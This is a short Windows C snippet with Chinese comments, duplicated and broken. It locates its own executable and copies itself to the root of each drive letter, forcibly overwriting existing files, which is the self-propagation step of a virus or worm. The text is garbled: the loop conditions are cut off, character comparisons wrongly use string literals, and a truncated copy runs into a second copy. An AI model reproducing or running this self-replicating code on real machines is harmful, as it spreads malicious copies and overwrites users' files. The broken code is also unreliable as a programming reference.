#include "Windows.h" //以下函式得包含此標頭檔案int main(){
char szPath[MAX_PATH]; //儲存自身檔名的字串
char toPath[MAX_PATH] = "C:"; //要複製到的路徑字串
int i;
GetModuleFileNameA(NULL,(LPCH)szPath,225); //獲取自身路徑的函式 for (i = strlen(szPath); i > 0; i--) //獲取檔名的處理,就我所知,VC沒有獲取檔名的函式,要自己處理;BCB就有
{
if (szPath[i] == "\\") //最後一個‘\’後面就是檔名
break;
}
strcat(toPath,&szPath[i]); //把檔名連線到toPath,得到“C:\*.exe”
for (char ch = "c"; ch
toPath[0] = ch; //改碟符
CopyFileA(szPath,toPath,false); //複製函式,從szPath複製到toPath,強行覆蓋原有檔案
return 0;
#include "Windows.h" //以下函式得包含此標頭檔案int main(){
char szPath[MAX_PATH]; //儲存自身檔名的字串
char toPath[MAX_PATH] = "C:"; //要複製到的路徑字串
int i;
GetModuleFileNameA(NULL,(LPCH)szPath,225); //獲取自身路徑的函式 for (i = strlen(szPath); i > 0; i--) //獲取檔名的處理,就我所知,VC沒有獲取檔名的函式,要自己處理;BCB就有
{
if (szPath[i] == "\\") //最後一個‘\’後面就是檔名
break;
}
strcat(toPath,&szPath[i]); //把檔名連線到toPath,得到“C:\*.exe”
for (char ch = "c"; ch
{
toPath[0] = ch; //改碟符
CopyFileA(szPath,toPath,false); //複製函式,從szPath複製到toPath,強行覆蓋原有檔案
}
return 0;
}